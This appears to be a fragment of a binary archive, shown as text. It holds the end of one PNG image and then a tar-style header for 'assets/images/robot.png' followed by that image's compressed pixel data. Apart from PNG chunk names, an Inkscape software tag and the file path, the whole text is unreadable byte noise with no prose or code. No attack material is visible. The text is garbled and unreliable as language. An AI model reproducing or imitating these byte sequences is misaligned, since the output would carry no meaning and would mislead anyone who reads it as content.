'F\&Rb@/HUW]Ŕ)SKN/CoҞy<@vqǖj?.jU[ u938ygJ͇ocWs%.: ҥt&T`҅V{$ĬY8clZ%u?z?^n>|Xt!R -w}|/)]J7kUi^VfϞoR,p p6/Hj\r |0{oRy; K" JjyO>$mZڏGKjY1FN;4_}>t {?n: 8븮Hsm1eҥt=o/]4BF ?O:(bjo`XIDATWg`1$ Σ>ZnMoR:*{saq.Ձ_Ux @Ҡ̝;O< 7ܰh4l\m`:W_͔)S;K֤{7+]T*@/HgSo[/ \_&@IMsg~t)|.rB&M6:+t)ݬGԿ[B(2 _tM[ ܁_+ϟ'9xҥt+SJ" fΜ?Asϖj+?_6 s'3yd~_.(` =Zx2e 7tSRy pMB+ZӋ/a6lR"m&lR_b+R/g?Y{ҥt>k.Djq^4$?r_|qRYľJ" /H^{}kl-GwcI9蠃>}zRَK"X0HeK/t)ݬCݿGBjKRa*_җdMZ/|T?C9t) lPI KRq>{T_ 8 * ?l{nrS|p-snvַr 7.7߶t!zU7J;SKRWϲ?Z%eҁ>o,] P҈8.(i.\qa!IB$ +dyK=1Y\#fLҐ}|tTA?]+eO:,k4rU-Cg?s0IN:_Rgv@k=\\w ~:Gt9Ŭ \ SIը tE@y\1 8WIժv 9 [,]2 SKuҖ+)}H҅Hj ^Ff- T  ܅_;WJ= - sܜJMJZ8d>I1!*ۺM#$=MORx2z+e[*cJ*KRr*nT;جq''7W0` :_xG%I` ̚ I`U3@I`VY $ N=sVw dހ$ N=! IkO7HB:*Iz7^_!Y(IҢ;c1{@+y>ќJ%{A9$z‽+?=$Imx@op@M J㑖;5$Im޸wc\7 fM9$ImL*oP={+h5I$M?1ƛzӠV=4Ҋ0 $I˨?4/{@IDE=pнh 0-$iXJud~:|9$ |3AՃ2n_BI:W_o iC|'TuU`H=zPv.v/ `,z:9$LC2܃JbYC:`N6s*IR xo5C&嗆И ^#WX^!6ûp:b< |=$u*9R/>}88c| o*$H"5z y@/0=&p3B%Ijgͩ<1a;K4&p?G$J*j?n pLKToV7kb^hL\jpI*Ri#i0ʤÍ@}\\$ev.xX'H @F:N_^o$IR!בzVऑ6ȰBX N\`9Rڴ $I[IW; `#h+B1V_v.rIrRCc87xy؝ wJ4DzӳOunf@`!DbAp]*8HA ܜ&-?kl+>s̾ ld$-b&5|6g x6M}`#fL&IlDAMFo*%ACX X5} Q3'$c7-b8 @7'%S9ŒښC-?x* 1뀃7듖h7srIRGO%zs/F/De SUћS%IIccR/yLoT!TDX 0`REHZIϸ9Ś1έr@aEZ`'6 M8@Ҟ~Aj>`UOԔBx)լݔ 0ؓWIR.$5?Rv1>ڌɚBo&5mAXؗBr$IEo+rfP=c|Y65&B: DLuVE+$ s eYR6=&]xC'@8h(x Dɢ$I]^n{;msأe=qBXtdE q, [40HRfvf+M/cŶ# !hSKYa`p&0\i4sIk{I-Nq>~JQ<,B88/M Ɨ*P520-P584xZB@a;%5JҪ'Y VVh=[LI5uk"µǁb.d !e(]K'H`EH(OZ1>[E\X .t҇\5Y [NxX@R=O 2N $^ryLw MK{GKעP ,LlxRmpi t245i6sҧO MS`ҵ@ 3k~*!ie_89t1?.d mvO_!큓*7a` ? ^zyAj}U}g WT_$5fF  +7RݹHx} R:}6`’a1 8*Pg w |qs 1WJ3m;JDY:T$I57ґTtީ3I' :ر&ބrھ00hA:֤gy\6ƘIͲզ/6N΍/Y6xf-^f!~_U"S ؄4+I,-ְ6Bؐ`G:jL1>k 05ƸM{^ ZO1!0t[_'HR{X:'ncs8'x@Ɛ@{aztgm6aͤÈ֠n4"79`q=Ƙ+LtBXu5l[푻Aa :, k7^'YΌ1~2~chUV'-qgbg毪!K6U?Pqb6Bx݃IOD\XKTg1Ƨ1TCb7WTڜ5v.ᠷg ,gbU߫wUxcc|Yuԫx_ՑGLK=\|$87N6] ؜*x3ͮG- l&,}?%{cT׀_jg`pEϿۤ,5Ԭg7^uORk[$љ_*s= 3 =sA40$I5$Ր@2HTCIj IR $I!$I5d$ $Ր@2HTCIj IR $I!$I5d$ $Ր@2HTCIj IR $I!$I5d$ $Ր@2HTCIj IR $I!$I5d$ $Ր@2HTCIj IR $I!$I5d$ $Ր@2HTCIj IR $I!$I5d$ $Ր@2HTCIj IR $I!$I5d$ $Ր@2HTCIj IR $I!$I5d$ $Ր@2HTCIj IR $I!$I5d$?@1ɭ~IENDB`assets/images/robot.png000064400000066152147600277620011173 0ustar00PNG  IHDRxsBIT|d pHYs+tEXtSoftwarewww.inkscape.org< IDATxwVvz[^"] UhcnF؍-Fҋ"E4Qپ dwgΜ9u=y}{33D$%Ձ>@CY1?@ P?dyC,8xm>[ۀF`=g|' "GUhZI< \,vKMDFH8TZ4N$>~G7>?`VDēxĚ*@{p(5bYg&D 0~;Tw$1|1]D+ z1L10 nP TQ :~Ӊ;|`"0@DD$p @[ `fZ>ˁǁ6FFDD,$b&""Rp1ξ';}Y)/RDDפCO?SOޡ!h?v'1}|6b6jG" xO.09KADD"* ,OU}%(D̦ HܪģO>{1DDDFM >d5}>ČWv"'?{1EdYDD$Ҁc6v8f4Dѐxx ; -[uq HOH T2*T4wzEJ(I(U4I$''STiKNN99۷8p`?;ocmر-[6svoƍYz%{D"sDDJĺSzNĕRJӴi 5>:uQN=6/;fJV^ɚCK>96 S,HaXU8ZR*͛L'Ӽ)4ov2u'11wjǪUYh>EYh>[lM~Ϲ ECGWoD6hӶ#mvV:Srj͚U̙=||dOV"1CĒWbvV:tޛ:ѶmG*W>wJ^m޼ٳg2|GNϧ; y{@$t%vJMK[^s.]"=bm[:u2'f';X;Q a;Ps.*11OoC8 IXwJqe]|0e<ƍⓏ;q fJ\DFU@7߉fOfxPV;HX'ƌ~Q }s<}'"r86݀׀KMK+)5J\[0.}NX`6 . /׭׀a.7]!{.ƍ}{w:G<ԆO*$ o|'r$]ko欳k1}T?ӏ|s4.♮fEl_RR 7ANG aoy0}Bo/pD$T/}c{C#55p-wѠAckVW^ 33w:p;CE`p<#5-K.gūM6+χ4`w"-*$h-1@]߉yoӽRN=H֭[?7^W  NDCi2Pw":u;͚x#?=Cѵ7=5߉H4 $bL̝qF[׿sm|"!嗟oa/}UaEU"X^* '*TH[wW\Obb([ 'kvn;1oȄnעď$ H\+|g\XڵwIHHY ~9Y`WOcLHҕP\LlMێ<ӜtRsiHy|1gTޘM"VS(S,#0ÆNwRhƍ▛d׮>؀)LB⏮bYe˲ֽ7=N+֭[Ϳi>N?}IB '>W^ܸqعs0  4ه<<'P6_OBp.HMii{C\q z/yrUdd1|XKS|̉f)AܠAc^4k~rCdb.tK,1|60cp E1O!xqԨQ+EX2룋`^ , zp*`& -] O?onO9BnS>ӧO%;;S1o|@ ;0׭׀^K&MV,_#~3e˖=t6A,M ѥ`^ tl~&  3ܹGCXbHA\&AyUJ)"GUxq;B2Ay=C`SK#9^ 0]Njb2txPCX3fpe b&.̞8=x0;g`;uU7rF۶p(7㰷Usqo߳%g`̝롲1{)0TDS ` kÏb.>5kVNjשC=E}oFg³hp=zFӣ8K.oo?1|@.oh'5W2t9\<\6lX;^7OYc5ԑ+==)8OIIw'өq)KعsT L&8smЖh|iÏ<À]rrr;)LƏ{]vСcWQu6 .I:'hy8^w+7GCĽ]v2y|Rds~39省+ղ޽8Xr =$Йd/ĵ͛72xP/w*V5iҔwjjN%fpnAp  J\>-UTu5D[r9۝kWNʼnZԭw*1ktt*6mp9Z) p8+4MzXv5wa|*U¿_}uSZ&a _IFF{̘>ҥN%&լY t) (^ KZO`9ע|z~[Ç d򤱾;M1o׮L|jCƧqw[x ^xMME'h?̸qxdiĬ.ߪH*s.[y>3\z5ǽk4S8v4Li\4Tظ/3 d^iK7^l!iij\X/Cż(qB@|I~fL8?us c(Wk;4d^`wv䵯W>zw] cţ<ӑ/?́lWHt%/h.5-3Ӱa#!+3VgNI/}46uIM*ړ̜<5g%L,exdիIMMu:N<[d1]:,gW7O .[0 Gv{Бr~Sk1tlPĢɉ ^˚Xi,l=ԨY-Ou6FX2̞=Vď0=kذ 3f'5M  +??OkU+ONLO3瑓f@ 239),]!nq\CɃD%MEŜY&)I }y;Y<\bgؑƣxeu;Qq*Í@_|[s:Ry{I qiVI#۬^҆d w^s7Jڴȅ^*|E@žJe˖o^vH8ȉO`^9U wG\0e˖%J`mۺ3NoĞ=]Ŵ woO-1c'Sky؀Oa=ݻ5sQSRen§׺ .Pa_]ofͲ?U(S|ܞr%7SW_}sV mWc׿}lK\ߧ9Kߘ^2YhԴ4FaWӁ+\ v`[_б c~b;l$m߶&X=F⬸"7%3'zYt *[egƤp\A0`OLL6.guCLiɉ\ۡ՘yyy,Z4j(z-AṊHA994mEHZtx ZVcpq:V:nƋ-O>]U`qK@liiURR'a#mŊVQ5˗ӆeӪfy1/W`ӝ N.jTĦ\= iD#]lFƳsCi&Mҿ W9RR{ͷe;lmٲjj9i`l_HNNvz) s ކ yQRVԸWS9oĹ]"t"d!*bK0vdnnawZx6U-ku 7nO$%99i8!1D@liaU]RiNo(b5^Nԭ׀>}W " \"W9&,"!u %nu.kzrHɒv̱Ϧv.6ryf{{kT!G v\kvH9LehݮmwgXWJS׸O.vXSRկ߈n{+>_Gnݫ 6q͊اj\{`rH'XڝV4'JLL+tV*!lj;`2e4"a4[a-Vl2tT?vTR~)@?AJ(i;J_O;Xiڝ i9L%x 0,UTĂÆ]n;ؼ|^f՘6,{\A#Ȇq֒إ q)Ѽ)hqs؟̜<1"#;gf.3113g'*򿣊_ ="'5ma5לVc WqW6kI ֛^Q\t=10 )zzɒ\=J=cLq jLFLYl=nǎ]ǔ4"/a;l:z j*|jׯE;dqݨo-ߝYѕ)S>}! >?x;uL;'ze^zr;Y5c;͵/gBK1u:OKOH]XWXqws#tL¿fwu|'LjZrtguA_8 h7gHmV P[Bz<ϑ~-!!ǟxN;z[Q.&6ji58w\wrD"*¥-Nڵ?f8{d:?wr mu2 hm; p,!!AU\JJ o5fͭ}NjΫ#GR3l" p9f^͐@exIԮ]w*ծ]QHٲ v*Uq@w$! \Z 樂N8Q\kSRj quk7:8DTG5yš0q81q,ԭ;)@%iCR8*£퀭Tk*W>q?u˛:3igTZw*R@ݬ"Z]SV ԫfH Hٲ=cn^cW4!!+Q}H2e}#аa H%X7?%Mfb]rr21G ) y <'?%$$x$ $T_j-هЯS9n fg ߩM_KT;gS IDAT pHN/xRju^~ecMQ#?&Vխ׀wFMᥗQ{8rI릘@ phX= $Y>c>իԨQ~?];X$7PzHI%''}:_=eee;#yɇYbo7HMMq5Kk3lO#V4lDKMMeذ|2+:L 2L勯pEisŊwFQv!ɾj f6Iȵ<-OnŽ#bi̜ 3gM +RD6kI]ة+;tQqA'،e˖ Yf0)PfIiiֽ7ݺ`ǎ,Z4~dٲ%X-[7o^(YeʖTTT Ӱa7hDkbulSulUNNԩT$98RpVjR "8E*TW{K+"b@ A`Tgu`RRժհRD"FڶϥHj (?GcV^SEĪTu,g*źFM ""Gz3Y}_RDDT Tg@78]s$D@|NDص/= %!! 5#;;j,,1a PPT`pPo:RTpWѦC/)@BB 7jڬi%?9KLX\ <&IL YP襦l TQZƉN#))<5vnn./}uؽk@圕;-uuלbvg{He 7mco\Az @DD$TD R ""A*DDD"HH """@DD$TD R ""A*DDD"HH """@DD$TD R ""A*DDD"HH """@DD$TD R ""A*DDD"HH """@DD$TD R ""A*DDD"HH @ ׌DD~`-0'kF󀇁zdp;0w"_IH{EDĦ  7ap$DDj >@X;  T |H@VM@/"Rx@g*k;N@i{1ƈD>$Lh%FD'&r|' "AN*D$Tx?H  "Q3D Tww""@ԩoDD<е3@DH>T_"])8 rrD$VXf;fR0*a`~YE$V~MYm; pXm3تUZ{V_U\m; p kjTjVj@D,Zit{@]9PTWXF^^DhYjs32g{`/v%I@C2z o"VZm- 4=X rl'U*Ч;Po:ETH_0%}~S||-ֈ ,X< "$?| "qE}po>UZ8~5 KFsU*DĆ ±T=Y 1_cKf`~$&0DDjwZ82`:0qǤoΑ1O: ^3*m[iiH ۰a۶ܙ= @'`4(5RJ+WS4w "ЖUR~ FPo:v|gSGאk7I^ p:0s_s.V͙=w "Y h9\TFbK+$c߾>fS̓`0bls_As|!"1諯f; 0s" Ϲx& M3w ""t(iAdD+}D3| "1hv=5 0#! @205*R~{Đ}2w:w"@c'Ydgg3}TiH T23}Kp 08T@= ߉ɾS2ISb{aksdI N!?_'fȯO>FX49sNc0;زeS<,\_`߉o`ua>rz "#-I|'bS,/;7 1 8Y 2>9@C~LmV8S}8v\L9O1ߝe+ eŊԯYD֬^f3y<ّ7lsoIR2ڡE@<<L?-0G~B&Y_3!E$ Å۾hs{b舙`}N{g@3`tQY7v 91ڸ-\c,-d#vs(X.o2̹50mmsv5K,m&"o.ŋ3y۴s=rzb(W+1=8kZ#[.Ž\5! a{c4żρM6Yf}j3ĸ/+ WA)x3?) [cY1| sD䅘a1Yk/)"1l/; h1bKY,A?%c`l߾vXAwbX'7̾1MDE"f*xEK0N.pf)) ?cΩ"+3w}V9H.-qw^##[i.* #Xz5cE\J0M`3m^(<`XY,Ձg%dwȽn;ҥ?ŜYÊH /\Y|Ư`S$P<98¥1W8sAU"V/𔋰ˀ]`9pR,1V@ ^.nxv)DZzUXkqi?W]h#fWvp^9w :2el~5j|"fNEB߹z ϶[de9q'0Es5-,mp6xjua;uJEn?0=㮻nkUrLBDX ?b LO洧(G^~e"84e8]1-?\6CM Dgxjթa"\<*xtQtxgdm֬Y,x^}Lnn.^s*ў-Yu xn[sty“O<ė_~*|"fx}>9צ4.99)["!ݢޚ,WC<8k*c -Ǭ8{gX|^؃qc؟qt rNN^}1]㔕5Ww9o\KXkl Àa6](m󗳖>xe'@o޽{֭"rF{;Ss9 cP*q="-\| m @8(xDv Ӻڹ@g1e8?0{tCZ_ KQsojwYai7 s,gWWT֕)SO}Cz \#Xz%]:b]NtVZoV?^K1.if=iI%̦ge58C{!Wͥ&33D% r9$I8V[4pB5ON>Okٲ% %.f?ޟ>#ŀ%dUùۓ&@+LӱwX4#_ M+ NUZq?U  s\`c%U#7`va GyFq 5aG IDAT[h~OpļFz*U{дi C |AM@gLxw3搟 u&ePso;p7cxҀˀHfH p1 ([o53lp"^͙=~ӟݻ;{췘g8DCg-}żۘ;\ r1ubMOAg ƌ~O~Ff hvwG۵Ljk_ ;7Pa^끻+gi@Crr?njաi kĵW';;;!\s .:^:6^tnq4ALei⠛qa4 P@yyyL<%JpFv ̣{{+unr;J}N/͛ ,bgR0'.EA.T_sӧOeڭII=Z$<23Kyǃ]d`B@&4`+P`W㯑u BLOgc5ѦmG^9 Cb֭~@:?aV9g0W)qڃ~.f]w:q*w8Wl_#5%`^cMLǼVF1Uڲ`[NẉxN KZ[o3>JQ,t.W5Dŀ(ZWr0(I?g>SydeYYY 4^L I[#ۢϧD;6k'w*fn+NŶyQ[zl˕}+x8g]tv!+V,eE8o`x ~s|כ_[JԾp$\goqi nd=Sعsth߂)Nǵa_|'aQԮVD`ŀx\; deeOƼK:\(²xpz Ĥ$ĺ{YveT̡]ϭ|TLרw1O{<{k\@>CgQ+Ve_];NڹN?Ǟ=iDJz zh\=M u5ᒫz#c@N!))Y>> b0Gv=m3yFԊ.ü0c2&W޳1]xKHHܡWw|UEM'Q^B"꺻Z6eZ"R- łR M%I $rKS}ޯOgȹs93ϴݣvb\V,kU bQdizgބ.UUU|3^{>h-?C~~~;}zt{u3^U`R5kѳg_z=_&ځ,_grxMn6md,XP[sva#\; u&hզ#ߧpNiI1͟u+mQ|ֲfWY9 yMy^zZw>Tal^3 W$ѱӄGDJqEg+*l|\6Uo"=3hڴ͚Iԭ`uӮ޽y|} ۶mf֯_C^)LL{ uy.h 8ݛ +=_:uHQ>Y0[oDLL,͚qfBdm'N'?oe~|m\.Zdfsˠ1DEYږy(?sZg1r0 SgK4_??? e]΢os ꦘ*66ĤիO\\M≍'6&8bb㈌"$8Ȩh\.{W]ZZBEEne(.>AQ1 QTtcǎRx( wo{smU_ R0lI)V7G۷g:Ÿ1SVJ !lZJpˠ1t5@WvY,x' n"ѱyϗ.`wto:sI23 +xFV 1і_.)t֗8 ̄BupFT[~R2ؿoGԕp*4؆_(oDDF\ӬZ)}:3OY AAtڗ7 &$$x}^˜b2#x-/].? Fde|*+eS\YHH(]{ `Ӥy[KV_`&$iS}1{_Wa.x?4!dek?GH`c׾c\zAFhX8zdiԴ5A&ֵP)6gV{])ˀ|] yw`,Q.1%{??/9}+?e՗)>RB8:wztnӹݕSЕb w#pHH(߉Rgٰ>rn0Q4OVf`{#<#:׾f .! ~x7ܐwѾSomem,=`uSF)i7`46ǯ˚2Y]`~V7@ܰ_៘ܐv{m+Z-uWγzHWD: EHCVg֡w[7p[)DQ0Y]l_?lE@*@@˷< ܢ#p~i޺жpP3ϗ.2#Lv)m^ǞHLnHXxM"4,͞۵J1ʎ sKk֮qz⨪*֮Z̩CV7GXxQ֭YI)^9֜o(-C *T}?}T5 Ǫ/SYYiusMnvߓڰ)!5QS~~~ԩĆo>V.3EclQ^$+]kMVk#[aSEGXsbU1uZfK# 3=wABBjm%38{VB(EΞ`kZNѰq+gTT| ٯRX% 7 i --QZzj /Uw{vn7{IT9C2-Es`ᑌW:j1奿 :^tHNmDdTQ~R:|p`/^u` c K!~F %V7E8ܙӧشk'W͹aM:7^Bp y)תؓWΆUL2 p(?ô'qMQ}޺3@2,/bTRj{]갦e̙ n/SUfuGD@T~~~DFŰyj: nXS@ya I4iVuX}l!KCU-g1J7x_Z`RS@ƻP3\n7gORhusnHS/Q}Fuas2ppvC>_Xp͸1`вE.#nEÙUUU' gOΝv\t=w<4wկTgƫ_:kuk>{ߖ! c@!=֍ԩHj qmUƸ?ZudT0"26k];\ƮlMT=uJf<;˱"mw'"2ZG*Ԓ5:ڥGYOkYt hJ` ƫӋTVe֛sS+Hn7c[1OP/F(;+?HO1}dΜ>ev31gNc0?gy"n.} Q~ =؛?0AuжUUU̞2Gk iS)2`_n` Ƭٛf&>|QKHH(yؚ{뎱Iά|lb,!`p6Xy.ZpG(N4H^eBؗ?0LuzFZ0g֫fMV`9jFBQBB`뛪*zSe%S).[wdmzJtԠykYTN7#U)0aQiFBacvE,4ʵlӑ*Ԑ}):kݶ3AAjaYt>5<#}+|Fwiզ,{ramV*+'9T9qNjrJ(+-ʳsAXXaGD[ظZ"f] O1].CLvLXj KpI)9sG %'SVZBiIJNrSy, " 0BC Fh81qDG|ͺԪ@e{ ^B8UϏؚV=rWz ԭDRr Yo<ىpDVh8^B-2; {v{䱿 cؠ:12`OTt;>JUUGQxЏӟ$$ޔP?)ͣwjDv1t%ټq5ٝo"%5۪*⻭صs4h"ۑ{Z1 u#i,Io?Kݕ8x@SrZoK8סu\-l޴nXW3 a#2KބGD2#mw^cWzcLVg#t%|۝t}{͗l\EI1n;luCe|j^5r}U>аpʁպ#TsQS971պ#B)XQ-t績YnZKB8k;7^_"D_c<>F;^gf !.cۨ՟coV !8$wBoϱ7_'‡W=J1F[ymBxVw6_q-?ϳ/\dn8IB;\u^^c8b;\!m{tg1N²Suy n=%?ϾvUa[c}G deeMjZCe~֭fŊ%V_?a @_a\VmJ&Mͽ}>\4?服澊_gu# du#迷:[ qcs ZnݚG㣏٩o!F3uDD$CwM[XՌ޵ӧ0(**)H+!lk 0ws+ٹ{fΘjFl7: +gd4Mb gRޟ=;v|gY3>* l3)PÊMŽ0|?^L IDAT'v`U3N7[o"5@ى4HI1f8f9س{M8 Y\N"15N\~"|\o-TpܸPcC[4..3cI``)//gۯ`*o( 82:̤qqUۗ͛tN_-d y@mՁbeCt܂:(#;)*Vn+BT7>bvn}:#H\84<].<⟓OW]vx߯_H^xq*.ߢ0j?+WWwu/ws>+5!l vT3v"!a}VRR MuO^++k|:h\|M֮ǂڦs№?- M[`1]Xա}ډi6c:·8Yypewÿq<01] ,#複QQLz ]^\^P(-ȟʯ,!ui7f<աaT~P"$wII)Z]uVQQANؽkЇ1oN'3'~Wyk£=#tmF3Cڝǟ<5 #t-N'S^#--[o:G!)9UGhyΡDǤ 4F:B)!Kc /}??sOr`8 /t RT +$-7а3D(X2`TT49[I&9uV-u?dDt)&qbp:d FU@q .IuCG)<4D߾B f0VYGPŔKNI#9%MeHQ M_?QuL2JMbb2ii*CjHMkHbb2w\`;uWN\]z)j2ώ& @d]@I*v,uCu4@OѯtMe8q4AJ5BCa|{if2`= ߡ9'؈=cU|ku#E6S˙zMa2p^ !3#DxJ^'yunp .lucԵv!YnDm Cm' q%1N,!"'^@fΫ~gu#MB#U};vUBwgnn -j>3VWXgmfضJ;֮m%n=^tvFqsH:w/aL?E}FGߑ{ B-ڹ}vVҎm%ڲ=m۲X6n6H}ߍ4Q-I+gz} H H\ "n_6Tv*.2hF;nd ƘUNZG]AC.T炬'*[;[V5K_Q},c/Z{& ƘI ac5& =Ayn {TlV? kf6}t$}z5c%=+:oMw4괛5ԉ*(@;VkբIZYm/_껝^t6oS(izi)c4+uػu1`k͟JW)ޖt^1K:m?3ޣ^Fl&4oZL&I㭵ҽp1XIS%HMiuGxsj͟V-HgݐEߑ?ԉ:{ܽx_-2HՎj$mH:?;i k3iۿgߑ5hȅ>d5;bH3i  t%S+'7s/1^wZZ--?@{ }. J,V]USVW},b:4sAo]zc:~t. W[^nOҏYk0<]qSm@:Tzhwӽt ,$@~AqK$egz4oo}o@@򑾳u.&YǍ4"j}45$P/ %<czHZ$X? <\ TkNEHif8:rsӱxs7tU <]hcA.aV@Jw$J)c$-tJ*ƈS7E ]mԛ5-4Z:]oW4n @2&G&> rSmcI+%`K:֍ߙ˽P{9A>@Z(k涼()/ct?3ѵ]6ϒ \M1HEZ⑾9nĥ:\bbrFZ[w~oK&q}M3sqmn:7IxarruōOsAխҖL\zc\^ntuճUs )sCG_G4Q|̈́nQkwGC~.d '<A6J13/  4 y*?195;oIϾ#Ut~OK #zD%fw,c̱誣.av4/'.19Û_)yD rdAC.SAެf1Hrrt67@t{D/%gaiBI]w3ԉxeJ{.`%fa)|u'q]v#îf,z] ?ѧo&)= ?D3S#c1 \(W\w0+իhe^Fk WQ>1%]z$Ь49r%9}.o~'Ac\ t4Fl Fua43?5 ɓg\FBgernKه~s%utƪ˒VAa?;l.q⨢\ C!$7tuA3@0tt˕t:tqYENu3^;Hr8pY`)1%^7F4"p\ĭ^G] 2:VOt]ϑ$cLIE.W4"fiQr chfi3鲺198䂖4k dRr:e>OQN] r:v>Oq]v@KEvzLMc\LaLd I.+=e9"+Z iP_U, @dt 42O!ؠؾjv+VWؾ&?c5jd}Q"JG.Kʓ4eEdkUs*˗|vUQݾݟ &~nCc4`9:Tx1X=zwI*tYgL{k+Uu*˗j{rWn]X"zFZQ.}-[HB HI *+[OVmҷvn)0[ $9=YAhm?i״mb {V2JN@;uU%8ۿ'W~'n%c0[_`@buZ-]֭|Su|񘦽_w}1AvWv/x<b"ެ8W&2[p6ƵfZ0a_BTLH `qSϨOw'۳w;rR-dv]VuZ@,YiEs7n;/ls]Z+ްOfF fVܡʵ[" j5{z?}DZ@<Se2Ul*$X^FsN6ƵoݧX]v e(]>E߯eaHnnz3.8S@l-[͋| )T ofMK+>1Ul*A'v.[w.h?OdmV4kM~s*kkV,|Neuz ; zc7zK[p9p654*nmMUk5ы@ kˆR~ huw9 %Sn.߭f%$TgE5IwhUk~'_8 3o4[?v+1k_{sY#ҙN Ǵt&HAC56Y:w+]R+[vYϴZ@T4իO_Y[i@ҿ$.i- %@@(h߫)9wIzKOPY,#kaoا)\3}I􊤹-A_3w+R%Zw3@ 6 +MIKz@Z<k6~W {$=-kJ_Ma@j^KKXJ[khVY'},Hҷs},U( X[)iUnIwH:#ٽY?{\nI@4+PvT>:$l"h֌W֍ӵG֮Oׂ@qa[&]Sy  }>%VW/t,e%Dt, K>7UuUYJ6+! A_K|WAUvcPA"hUuyKz8"lSAv_PC"fOM֗r;Q{ bV] ZIw. 8 bV,ke'Yk?0`([W}@,Lk xCV}4)Q@@D]r]v\<K_ ﭵA,1.KSHeZ[( ~[A D! K(!!v*6.6(!!a >@#!mf. @m,rL_gۦ@33Qc)t%ԫ.[k@ k:EY$] |I)DLsoKURO#c9SKVQ!B57.;u1t Iw` 8 u01Ɯ&J2ʭ]\kw]4,1?!Uc%W.Ƙ$-BƘ,DBjuKa/I B1ݻ6.KhsG}f;廅P#!T{1GIzL;4P}n!/BUwYk+\b*q~,Bջ6.ɧ$cpI>B@@U.Io$uD ?wFB(VWd3VU.]jn#@]`kN]xpb@j]6Ƙ\I}f:?~!'^黕HV@ջί)d$4 &>NJd @w$M@t5D}iq褳|-E . /mL=T^ǫ{ձS@&'WGg2 4u}FQ?ץ sg.8h(7@- 8Ѯ 0!vXcҠ!, X= f`d .)!adr fv@.)!@˜t#?b]uYH Z벘qZH "A"@ D DPBwvY L@&04wra e}8n8't܈q: e}e?ܼN)ˮB99y; se}}GϽwÎl[t풤 ZܼN:x-Q cTtwt܈ GNe?'@$'$;R9CKbS*bS7,:pk Q}@F !@6"@ D D"A"@ D D"Ay2A<Se2Ul*V-AG=}].=owww仭H! JOѼ|v:-xW{JOQ)}VYtp ۷[S_UUl*fܶZX<"Y뻝H`kM~s* &}m.g;ncleڸf6B/;wWŦbUl*$Xԭq;/ f?->̚ߺ}P)ZEQf<t{tߖIsr>smh+?3~w+KwKO׾𗤽w{4v6EJ껅P M([~iks?Se  b ١{r* P^U66VW^F.5U}jsާ+S~;>!U/B⺉T(jߣ}U[Wx#S<Un]#d*l2 DUcw `ٲumԦt| d܅&%MÏ.GUe}pyCbI滉 oIn"j Be}8#k!#kmZ[/+}% e}wdFB=ID~$ QWvdb] _I$A~[5@@,k|7iqkO$%ivB`eÀzrs|3b7M'n}w3Z3FUN4FiΚC VK޼]uκk?݀k-wJjb$_Ga @>HҘ +^O9=Kc.qWV0pv|1Hgg$jRaAm~maAwdrr "ܼ] IGNկ9ᴛttTav0e1>/M\CF_yWeOW~u%'xBmBz =q*˗o߁Eors=w@ e/77_}~ӏ/4g^9 p3Yp3Yp,CK`IDAT=\A@#];c\a,D^NӃh/ @"ڋ3Yh/@"ڋe! eƘ.YЍ3@ӏy:c'y ڃYhg)=p?]p{@v҆h`"ڃA@YH1@R˚*;(<# R,FYH;YHwb@b@8TT9~;D1PR˚ w]]D Tp?#R@#R. v w$ v |7d+cO|fI $-|71N4Fb˓eAvҏǾp(fY"ڗ}7 1H?s;Y-c:;0ZK#i1icLw e*cLwcӒ&+1ۉO~˒cn$$ߓ%JGp~16n$S$ߋxo;~4Iwn"ܭ{~O1C}7[=>ª+ #ɗYMdϊ~/Z2w @AAxDFn.;):w @oɉ 0Q^wF+}n!S_ yﻅ" 2z1 #.Fd{ Ywο]n#1ޡǞ ν+D@\O*>w+@dYS>9GNw+@ꪲ˒c>k]Pk 9)qM}ᶶ1&q[Rl "d֖ 9vv`1vߪ*i?wQƘ. H]:GCΰt KBRlqP[e9)T]%V,  \9Ɗ[e2NvY @0[7HZm%.Hۆr`fINbu5ݽeI"v ʑT&eU.F3VRYJrL-ڜD3u$NŖu,@d0SWI;۶,V>$ @{Ҷ-] nFmZ;eI"g9uكvJ$9]ac,fis$ZG{%? I3\PunwY[][.{`7 ӝ.avZ([;[ui#*V mPbKj5\iWPeIB~,}uyY/9XJMqY+]6E1:hܞ9%fA3:mX3C.KZڰ醼S`+}+ƸV-$j$Ƹ'gHkW]Y%ffFKl˒ֲ^uٸ -^}] TӒ ]^5U/s]P,_ίK3˒.oxiIbތoɇ ɓ/bsjej;%/QCO̖A{Xۨ33Anv)̖u'MRՎ] +U8SbVZk%u7 z}ޟz>w&gai@Tﶟ.@fC PvvP땘:bn77;w- z|厠-9Û$J ;*V?. @V(~Q*ҍJ#j1XkWK dVuUYXUep*?)95;KINP)w. @F=nj(m-jU.4=5t٫x心( @xUՠOIv@~b3-7T{sP57kڋrVVk퇒N nES17~njY*m[mw5BjyݻA.Ѧݦ` IgVKU/֗LY rIjm;QY&}ШٽYoMzݯZ&m͒~׵x,%Hx<uIqr6I*;IS|m6{WS'ԣ:֠/Vb&YJZ [ @,~)wdA.a%}+9,YkߕTo>yr 7~}4y*9SrHGҎv8S r YZ%fp%}=5Zc+wyD(]fߦ)kKzuFc\o< !J7O]m_NviwHujVNz\d>=E^j3ݜk.I7HwQu>v2Ƽkɿ^ ənvd@w];SӬW>omԬWJslN8 d}HRZ.41Wc |~&g3N@-6PSJO\ɳiS{&?qe7ij)ZSy6{W"i#}{ߦ%}!9[ b@%勐RBZx[6 7I1IJZ7~9Kekg{y@([;[=r}GI&gf$Z[-itԎUzz_UՎ}@U;>֛^z|vTFY_hZ3NTI#ҹ~M/iuG>xsj͟V-HgݖE$ZsK%A+>kɟcQ~}He7^R&n=K&lk͟JW7m%mۿ)/@J 0g%]竏d3*]>E˧w4괛5ԉ*(-@VkբIZYm/_껝^Tⴿ'9cr$Q76rcը4tu%~zZ`18w~yd4Q)ZY6LҷU#_ 1fg?iZ_2MjIWk+4hȅ\w{&nWZ Yc5[jς_kyYk5ƔKzXRFݱ>V ՊJƨ'jАtЋ4pة RUi9X:KekgrLߜz%ؽ*cx1fH:w?e*˗|>zQ>OQgwzn}w P{vn_c[{O۶,΄AGTTeT6Ɯ*)IWynE6b"Ul^tw쪣PճHt]!P*c:4W<S}]bu~jTKڬViڵDoW%b黑Cy?x$Ƙ;%ݯ $D D$K!ߍ4'$cΒ["@@tߍIڞX$e߽Ђ%e HvZIICmk|7Y>.iHbKUb&LΨgc9OңN v koYkH*j>FA HVb/e@SƘ4w/@$NkfߍW4el %M tJZ0 )$;2Ɯ)&H'v(+i_Xk?݌k8CkՒ>M@⻁ {-J̎XkB.(i_Өn DCbFk )`?kjk$ 3%nun mak՞IPh1(q`˒T# M־ 1W*q-Q-IHm#8 